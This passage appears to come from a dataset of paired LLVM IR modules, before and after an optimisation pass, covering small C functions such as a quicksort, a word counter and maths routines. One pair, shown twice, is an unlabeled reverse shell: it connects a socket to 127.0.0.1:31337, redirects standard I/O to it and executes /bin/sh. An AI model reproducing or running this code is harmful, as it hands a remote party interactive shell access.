%16 = sext i32 %15 to i64
%17 = getelementptr inbounds i8, ptr %14, i64 %16
%18 = load i8, ptr %17, align 1
%19 = call i32 @alphabetic(i8 noundef signext %18)
%20 = icmp ne i32 %19, 0
br i1 %20, label %21, label %28
21: ; preds = %13
%22 = load i32, ptr %5, align 4
%23 = icmp ne i32 %22, 0
br i1 %23, label %24, label %27
24: ; preds = %21
%25 = load i32, ptr %4, align 4
%26 = add nsw i32 %25, 1
store i32 %26, ptr %4, align 4
store i32 0, ptr %5, align 4
br label %27
27: ; preds = %24, %21
br label %29
28: ; preds = %13
store i32 1, ptr %5, align 4
br label %29
29: ; preds = %28, %27
br label %30
30: ; preds = %29
%31 = load i32, ptr %3, align 4
%32 = add nsw i32 %31, 1
store i32 %32, ptr %3, align 4
%33 = load ptr, ptr %2, align 8
%34 = load i32, ptr %3, align 4
%35 = sext i32 %34 to i64
%36 = getelementptr inbounds i8, ptr %33, i64 %35
%37 = load i8, ptr %36, align 1
%38 = sext i8 %37 to i32
%39 = icmp ne i32 %38, 0
br i1 %39, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %30
br label %40
40: ; preds = %._crit_edge, %1
%41 = load i32, ptr %4, align 4
ret i32 %41
}
declare i32 @alphabetic(i8 noundef signext) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp23wti2mu.c'
source_filename = "/tmp/tmp23wti2mu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp23wti2mu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpkxryrs3j.c'
source_filename = "/tmp/tmpkxryrs3j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [17 x i8] c"\02\00zi\7F\00\00\01\00\00\00\00\00\00\00\00\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"/bin/sh\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
store ptr @.str, ptr %2, align 8
%3 = call i32 @socket(i32 noundef 2, i32 noundef 1, i32 noundef 0)
store i32 %3, ptr %1, align 4
%4 = load i32, ptr %1, align 4
%5 = load ptr, ptr %2, align 8
%6 = call i32 @connect(i32 noundef %4, ptr noundef %5, i32 noundef 16)
%7 = load i32, ptr %1, align 4
%8 = call i32 @dup2(i32 noundef %7, i32 noundef 0)
%9 = load i32, ptr %1, align 4
%10 = call i32 @dup2(i32 noundef %9, i32 noundef 1)
%11 = load i32, ptr %1, align 4
%12 = call i32 @dup2(i32 noundef %11, i32 noundef 2)
%13 = call i32 @execve(ptr noundef @.str.1, i32 noundef 0, i32 noundef 0)
ret i32 0
}
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @dup2(i32 noundef, i32 noundef) #1
declare i32 @execve(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpkxryrs3j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [17 x i8] c"\02\00zi\7F\00\00\01\00\00\00\00\00\00\00\00\00", align 1
@.str.1 = private unnamed_addr constant [8 x i8] c"/bin/sh\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca ptr, align 8
store ptr @.str, ptr %2, align 8
%3 = call i32 @socket(i32 noundef 2, i32 noundef 1, i32 noundef 0)
store i32 %3, ptr %1, align 4
%4 = load i32, ptr %1, align 4
%5 = load ptr, ptr %2, align 8
%6 = call i32 @connect(i32 noundef %4, ptr noundef %5, i32 noundef 16)
%7 = load i32, ptr %1, align 4
%8 = call i32 @dup2(i32 noundef %7, i32 noundef 0)
%9 = load i32, ptr %1, align 4
%10 = call i32 @dup2(i32 noundef %9, i32 noundef 1)
%11 = load i32, ptr %1, align 4
%12 = call i32 @dup2(i32 noundef %11, i32 noundef 2)
%13 = call i32 @execve(ptr noundef @.str.1, i32 noundef 0, i32 noundef 0)
ret i32 0
}
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @dup2(i32 noundef, i32 noundef) #1
declare i32 @execve(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpm62vnqnl.c'
source_filename = "/tmp/tmpm62vnqnl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpm62vnqnl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpi48z_szu.c'
source_filename = "/tmp/tmpi48z_szu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @hypre_BigQsortbi(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store i32 %3, ptr %8, align 4
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %8, align 4
%13 = icmp sge i32 %11, %12
br i1 %13, label %14, label %15
14: ; preds = %4
br label %70
15: ; preds = %4
%16 = load ptr, ptr %5, align 8
%17 = load ptr, ptr %6, align 8
%18 = load i32, ptr %7, align 4
%19 = load i32, ptr %7, align 4
%20 = load i32, ptr %8, align 4
%21 = add nsw i32 %19, %20
%22 = sdiv i32 %21, 2
%23 = call i32 @hypre_BigSwapbi(ptr noundef %16, ptr noundef %17, i32 noundef %18, i32 noundef %22)
%24 = load i32, ptr %7, align 4
store i32 %24, ptr %10, align 4
%25 = load i32, ptr %7, align 4
%26 = add nsw i32 %25, 1
store i32 %26, ptr %9, align 4
br label %27
27: ; preds = %51, %15
%28 = load i32, ptr %9, align 4
%29 = load i32, ptr %8, align 4
%30 = icmp sle i32 %28, %29
br i1 %30, label %31, label %54
31: ; preds = %27
%32 = load ptr, ptr %5, align 8
%33 = load i32, ptr %9, align 4
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i32, ptr %32, i64 %34
%36 = load i32, ptr %35, align 4
%37 = load ptr, ptr %5, align 8
%38 = load i32, ptr %7, align 4
%39 = sext i32 %38 to i64
%40 = getelementptr inbounds i32, ptr %37, i64 %39
%41 = load i32, ptr %40, align 4
%42 = icmp slt i32 %36, %41
br i1 %42, label %43, label %50
43: ; preds = %31
%44 = load ptr, ptr %5, align 8
%45 = load ptr, ptr %6, align 8
%46 = load i32, ptr %10, align 4
%47 = add nsw i32 %46, 1
store i32 %47, ptr %10, align 4
%48 = load i32, ptr %9, align 4
%49 = call i32 @hypre_BigSwapbi(ptr noundef %44, ptr noundef %45, i32 noundef %47, i32 noundef %48)
br label %50
50: ; preds = %43, %31
br label %51
51: ; preds = %50
%52 = load i32, ptr %9, align 4
%53 = add nsw i32 %52, 1
store i32 %53, ptr %9, align 4
br label %27, !llvm.loop !6
54: ; preds = %27
%55 = load ptr, ptr %5, align 8
%56 = load ptr, ptr %6, align 8
%57 = load i32, ptr %7, align 4
%58 = load i32, ptr %10, align 4
%59 = call i32 @hypre_BigSwapbi(ptr noundef %55, ptr noundef %56, i32 noundef %57, i32 noundef %58)
%60 = load ptr, ptr %5, align 8
%61 = load ptr, ptr %6, align 8
%62 = load i32, ptr %7, align 4
%63 = load i32, ptr %10, align 4
%64 = sub nsw i32 %63, 1
call void @hypre_BigQsortbi(ptr noundef %60, ptr noundef %61, i32 noundef %62, i32 noundef %64)
%65 = load ptr, ptr %5, align 8
%66 = load ptr, ptr %6, align 8
%67 = load i32, ptr %10, align 4
%68 = add nsw i32 %67, 1
%69 = load i32, ptr %8, align 4
call void @hypre_BigQsortbi(ptr noundef %65, ptr noundef %66, i32 noundef %68, i32 noundef %69)
br label %70
70: ; preds = %54, %14
ret void
}
declare i32 @hypre_BigSwapbi(ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpi48z_szu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @hypre_BigQsortbi(ptr noundef %0, ptr noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
store i32 %3, ptr %8, align 4
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %8, align 4
%13 = icmp sge i32 %11, %12
br i1 %13, label %14, label %15
14: ; preds = %4
br label %72
15: ; preds = %4
%16 = load ptr, ptr %5, align 8
%17 = load ptr, ptr %6, align 8
%18 = load i32, ptr %7, align 4
%19 = load i32, ptr %7, align 4
%20 = load i32, ptr %8, align 4
%21 = add nsw i32 %19, %20
%22 = sdiv i32 %21, 2
%23 = call i32 @hypre_BigSwapbi(ptr noundef %16, ptr noundef %17, i32 noundef %18, i32 noundef %22)
%24 = load i32, ptr %7, align 4
store i32 %24, ptr %10, align 4
%25 = load i32, ptr %7, align 4
%26 = add nsw i32 %25, 1
store i32 %26, ptr %9, align 4
%27 = load i32, ptr %9, align 4
%28 = load i32, ptr %8, align 4
%29 = icmp sle i32 %27, %28
br i1 %29, label %.lr.ph, label %56
.lr.ph: ; preds = %15
br label %30
30: ; preds = %.lr.ph, %50
%31 = load ptr, ptr %5, align 8
%32 = load i32, ptr %9, align 4
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds i32, ptr %31, i64 %33
%35 = load i32, ptr %34, align 4
%36 = load ptr, ptr %5, align 8
%37 = load i32, ptr %7, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds i32, ptr %36, i64 %38
%40 = load i32, ptr %39, align 4
%41 = icmp slt i32 %35, %40
br i1 %41, label %42, label %49
42: ; preds = %30
%43 = load ptr, ptr %5, align 8
%44 = load ptr, ptr %6, align 8
%45 = load i32, ptr %10, align 4
%46 = add nsw i32 %45, 1
store i32 %46, ptr %10, align 4
%47 = load i32, ptr %9, align 4
%48 = call i32 @hypre_BigSwapbi(ptr noundef %43, ptr noundef %44, i32 noundef %46, i32 noundef %47)
br label %49
49: ; preds = %42, %30
br label %50
50: ; preds = %49
%51 = load i32, ptr %9, align 4
%52 = add nsw i32 %51, 1
store i32 %52, ptr %9, align 4
%53 = load i32, ptr %9, align 4
%54 = load i32, ptr %8, align 4
%55 = icmp sle i32 %53, %54
br i1 %55, label %30, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %50
br label %56
56: ; preds = %._crit_edge, %15
%57 = load ptr, ptr %5, align 8
%58 = load ptr, ptr %6, align 8
%59 = load i32, ptr %7, align 4
%60 = load i32, ptr %10, align 4
%61 = call i32 @hypre_BigSwapbi(ptr noundef %57, ptr noundef %58, i32 noundef %59, i32 noundef %60)
%62 = load ptr, ptr %5, align 8
%63 = load ptr, ptr %6, align 8
%64 = load i32, ptr %7, align 4
%65 = load i32, ptr %10, align 4
%66 = sub nsw i32 %65, 1
call void @hypre_BigQsortbi(ptr noundef %62, ptr noundef %63, i32 noundef %64, i32 noundef %66)
%67 = load ptr, ptr %5, align 8
%68 = load ptr, ptr %6, align 8
%69 = load i32, ptr %10, align 4
%70 = add nsw i32 %69, 1
%71 = load i32, ptr %8, align 4
call void @hypre_BigQsortbi(ptr noundef %67, ptr noundef %68, i32 noundef %70, i32 noundef %71)
br label %72
72: ; preds = %56, %14
ret void
}
declare i32 @hypre_BigSwapbi(ptr noundef, ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpuhl158eu.c'
source_filename = "/tmp/tmpuhl158eu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local zeroext i8 @CheckId_OV7649() #0 {
%1 = alloca i8, align 1
%2 = alloca i8, align 1
%3 = alloca i8, align 1
%4 = call i32 @VIM_SIF_I2cReadByte(i32 noundef 10, ptr noundef %2)
%5 = call i32 @VIM_SIF_I2cReadByte(i32 noundef 11, ptr noundef %3)
%6 = load i8, ptr %2, align 1
%7 = zext i8 %6 to i32
%8 = icmp eq i32 %7, 118
br i1 %8, label %9, label %14
9: ; preds = %0
%10 = load i8, ptr %3, align 1
%11 = zext i8 %10 to i32
%12 = icmp eq i32 %11, 72
br i1 %12, label %13, label %14
13: ; preds = %9
store i8 1, ptr %1, align 1
br label %15
14: ; preds = %9, %0
store i8 0, ptr %1, align 1
br label %15
15: ; preds = %14, %13
%16 = load i8, ptr %1, align 1
ret i8 %16
}
declare i32 @VIM_SIF_I2cReadByte(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpuhl158eu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local zeroext i8 @CheckId_OV7649() #0 {
%1 = alloca i8, align 1
%2 = alloca i8, align 1
%3 = alloca i8, align 1
%4 = call i32 @VIM_SIF_I2cReadByte(i32 noundef 10, ptr noundef %2)
%5 = call i32 @VIM_SIF_I2cReadByte(i32 noundef 11, ptr noundef %3)
%6 = load i8, ptr %2, align 1
%7 = zext i8 %6 to i32
%8 = icmp eq i32 %7, 118
br i1 %8, label %9, label %14
9: ; preds = %0
%10 = load i8, ptr %3, align 1
%11 = zext i8 %10 to i32
%12 = icmp eq i32 %11, 72
br i1 %12, label %13, label %14
13: ; preds = %9
store i8 1, ptr %1, align 1
br label %15
14: ; preds = %9, %0
store i8 0, ptr %1, align 1
br label %15
15: ; preds = %14, %13
%16 = load i8, ptr %1, align 1
ret i8 %16
}
declare i32 @VIM_SIF_I2cReadByte(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp0k3cbf1w.c'
source_filename = "/tmp/tmp0k3cbf1w.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @letlog2(double noundef %0) #0 {
%2 = alloca double, align 8
store double %0, ptr %2, align 8
%3 = load double, ptr %2, align 8
%4 = fcmp ogt double %3, 0.000000e+00
br i1 %4, label %5, label %10
5: ; preds = %1
%6 = load double, ptr %2, align 8
%7 = call double @log(double noundef %6) #2
%8 = call double @log(double noundef 2.000000e+00) #2
%9 = fdiv double %7, %8
br label %11
10: ; preds = %1
br label %11
11: ; preds = %10, %5
%12 = phi double [ %9, %5 ], [ 0.000000e+00, %10 ]
ret double %12
}
; Function Attrs: nounwind
declare double @log(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp0k3cbf1w.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @letlog2(double noundef %0) #0 {
%2 = alloca double, align 8
store double %0, ptr %2, align 8
%3 = load double, ptr %2, align 8
%4 = fcmp ogt double %3, 0.000000e+00
br i1 %4, label %5, label %10
5: ; preds = %1
%6 = load double, ptr %2, align 8
%7 = call double @log(double noundef %6) #2
%8 = call double @log(double noundef 2.000000e+00) #2
%9 = fdiv double %7, %8
br label %11
10: ; preds = %1
br label %11
11: ; preds = %10, %5
%12 = phi double [ %9, %5 ], [ 0.000000e+00, %10 ]
ret double %12
}
; Function Attrs: nounwind
declare double @log(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp58zrqytl.c'
source_filename = "/tmp/tmp58zrqytl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @F2(double noundef %0, double noundef %1) #0 {
%3 = alloca double, align 8
%4 = alloca double, align 8
%5 = alloca double, align 8
%6 = alloca double, align 8
store double %0, ptr %4, align 8
store double %1, ptr %5, align 8
%7 = load double, ptr %4, align 8
%8 = fcmp olt double %7, 1.000000e-100
br i1 %8, label %9, label %13
9: ; preds = %2
%10 = load double, ptr %5, align 8
%11 = call double @pow(double noundef %10, double noundef 4.000000e+00) #3
%12 = fdiv double %11, 4.000000e+00
store double %12, ptr %3, align 8
br label %41
13: ; preds = %2
%14 = load double, ptr %4, align 8
%15 = call double @pow(double noundef %14, double noundef 2.000000e+00) #3
%16 = load double, ptr %5, align 8
%17 = call double @pow(double noundef %16, double noundef 2.000000e+00) #3
%18 = fadd double %15, %17
%19 = call double @sqrt(double noundef %18) #3
store double %19, ptr %6, align 8
%20 = load double, ptr %4, align 8
%21 = call double @pow(double noundef %20, double noundef 2.000000e+00) #3
%22 = fmul double -3.000000e+00, %21
%23 = load double, ptr %5, align 8
%24 = load double, ptr %5, align 8
%25 = call double @pow(double noundef %24, double noundef 3.000000e+00) #3
%26 = fmul double 2.000000e+00, %25
%27 = call double @llvm.fmuladd.f64(double %22, double %23, double %26)
%28 = fmul double 1.250000e-01, %27
%29 = load double, ptr %6, align 8
%30 = load double, ptr %4, align 8
%31 = call double @pow(double noundef %30, double noundef 4.000000e+00) #3
%32 = fmul double 3.750000e-01, %31
%33 = load double, ptr %5, align 8
%34 = load double, ptr %6, align 8
%35 = fadd double %33, %34
%36 = load double, ptr %4, align 8
%37 = fdiv double %35, %36
%38 = call double @log(double noundef %37) #3
%39 = fmul double %32, %38
%40 = call double @llvm.fmuladd.f64(double %28, double %29, double %39)
store double %40, ptr %3, align 8
br label %41
41: ; preds = %13, %9
%42 = load double, ptr %3, align 8
ret double %42
}
; Function Attrs: nounwind
declare double @pow(double noundef, double noundef) #1
; Function Attrs: nounwind
declare double @sqrt(double noundef) #1
; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none)
declare double @llvm.fmuladd.f64(double, double, double) #2
; Function Attrs: nounwind
declare double @log(double noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
